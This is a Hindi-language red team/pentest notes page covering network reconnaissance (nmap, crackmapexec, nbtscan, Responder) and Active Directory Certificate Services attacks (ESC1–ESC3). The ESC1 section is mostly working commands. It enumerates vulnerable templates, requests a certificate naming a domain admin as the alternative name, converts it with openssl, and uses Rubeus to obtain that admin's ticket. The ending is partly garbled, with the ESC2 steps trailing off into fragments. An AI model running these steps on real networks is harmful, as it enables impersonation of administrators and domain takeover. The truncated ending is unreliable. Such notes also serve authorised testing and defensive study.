
RedTeam/Pentest नोट्स और प्रयोग जो पेशेवर कार्यों से संबंधित कई बुनियादी ढांचों पर परीक्षण किए गए।
पेन्टेस्टिंग/रेड टीमिंग प्रयोगों के बारे में सार्वजनिक रूप से सुलभ नोट्स जो कई नियंत्रित वातावरणों/बुनियादी ढाँचों पर परीक्षण किए गए हैं, जिनमें पेनिट्रेशन टेस्टर्स और रेडटीमर्स द्वारा सुरक्षा मूल्यांकन के दौरान उपयोग किए जाने वाले विभिन्न उपकरणों और तकनीकों का उपयोग शामिल है।
हम github pull requests के रूप में योगदान का स्वागत करते हैं।
कठिन काम करने वाले लोगों को शाबाशी और धन्यवाद।
अस्वीकरण
केवल शैक्षिक उद्देश्यों के लिए, इसे अपनी जिम्मेदारी पर उपयोग करें।
नेटवर्क में चल रहे डोमेन नाम और विंडोज़ मशीन के बारे में जानकारी एकत्र करें।```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
या```bash
bash$ responder-RunFinger
आईपी नेटवर्कों पर NetBIOS नाम जानकारी को स्कैन करना।```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
SMB जानकारी के आधार पर नेटवर्क रेंज को स्कैन करें```bash
bash$ cme smb 192.168.1.1/24
सभी मशीन नेटवर्क को स्कैन करें और आउटपुट सहेजें।
तेज़ स्कैन```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
गहन स्कैन (नोट अनुशंसित):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
चल रही सेवाओं के संस्करण की गणना सहित स्कैन करें :
## एंग्री आईपी स्कैनर
इस लिंक से टूल डाउनलोड करें :
[Angry IP Scanner](http://angryip.org/download/#linux)
* प्राथमिकताएँ सेटिंग्स बदलें
> पर जाएँ: प्राथमिकताएँ -> पोर्ट्स -> पोर्ट चयन में 80,445,554,21 ,22 जोड़ें <br>
> पर जाएँ: प्राथमिकताएँ -> डिस्प्ले -> एलाइव होस्ट्स चुनें <br>
> पर जाएँ: प्राथमिकताएँ -> पिंगिंग -> कॉम्बाइंड (UDP/TCP) चुनें <br>
# पार्श्व गति और शोषण
### सक्रिय निर्देशिका प्रमाणपत्र सेवाएँ
यह भाग https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates से कॉपी किया गया था
<br>अधिक विवरण के लिए देखें: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(निजी वातावरण में परीक्षण किया गया (Bloodhound फिर ESC1 शोषण))
* ADCS सर्वर खोजें
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* certutil के साथ AD Enterprise CAs की गणना करें: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - गलत कॉन्फ़िगर किए गए प्रमाणपत्र टेम्पलेट
> डोमेन उपयोगकर्ता **VulnTemplate** टेम्पलेट में नामांकन कर सकते हैं, जो क्लाइंट प्रमाणीकरण के लिए उपयोग किया जा सकता है और इसमें **ENROLLEE_SUPPLIES_SUBJECT** सेट है। यह किसी को भी इस टेम्पलेट में नामांकन करने और एक मनमाना Subject Alternative Name (जैसे DA के रूप में) निर्दिष्ट करने की अनुमति देता है। विषय के अलावा प्रमाणपत्र में अतिरिक्त पहचान को बांधने की अनुमति देता है।
आवश्यकताएँ:
* वह टेम्पलेट जो AD प्रमाणीकरण की अनुमति देता है
* **ENROLLEE_SUPPLIES_SUBJECT** फ़्लैग
* [PKINIT] क्लाइंट प्रमाणीकरण, स्मार्ट कार्ड लॉगऑन, कोई भी उद्देश्य, या कोई EKU नहीं (विस्तारित/उन्नत कुंजी उपयोग)
शोषण:
* [Certify.exe](https://github.com/GhostPack/Certify) का उपयोग करके देखें कि क्या कोई कमजोर टेम्पलेट हैं
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Certify, [Certi](https://github.com/eloypgz/certi) या [Certipy](https://github.com/ly4k/Certipy) का उपयोग करके प्रमाणपत्र का अनुरोध करें और एक वैकल्पिक नाम (प्रतिरूपण करने के लिए उपयोगकर्ता) जोड़ें
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* OpenSSL का उपयोग करें और प्रमाणपत्र को कन्वर्ट करें, पासवर्ड दर्ज न करें
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* cert.pfx को लक्ष्य मशीन फ़ाइलसिस्टम पर ले जाएँ और Rubeus का उपयोग करके altname उपयोगकर्ता के लिए TGT का अनुरोध करें
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**चेतावनी**: ये प्रमाणपत्र तब भी उपयोग योग्य रहेंगे, भले ही उपयोगकर्ता या कंप्यूटर अपना पासवर्ड रीसेट कर दे!
**नोट**: **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** फ़्लैग, और AD CS HTTP एंडपॉइंट्स पर NTLM रिले की तलाश करें।
#### ESC2 - गलत कॉन्फ़िगर किए गए प्रमाणपत्र टेम्पलेट
आवश्यकताएँ:
* अनुरोधकर्ताओं को CSR में Subject Alternative Name (SAN) निर्दिष्ट करने की अनुमति देता है और साथ ही Any Purpose EKU (2.5.29.37.0) की अनुमति देता है
शोषण:
* टेम्पलेट खोजें ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname को ESC1 की तरह डोमेन एडमिन के रूप में निर्दिष्ट किया गया हो।ESC3 तब होता है जब कोई certificate template, Certificate Request Agent EKU (नामांकन एजेंट) निर्दिष्ट करता है। इस EKU का उपयोग अन्य उपयोगकर्ताओं की ओर से certificates का अनुरोध करने के लिए किया जा सकता है।
डोमेन प्रमाणीकरण की अनुमति देने वाले एक टेम्पलेट के लिए
mspki-certificate-name-flagफ्लैग को सक्षम करने से हमलावरों को "टेम्पलेट में एक गलत कॉन्फ़िगरेशन को धकेलने" की अनुमति मिलती है, जिससे ESC1 कमज़ोरी उत्पन्न होती है।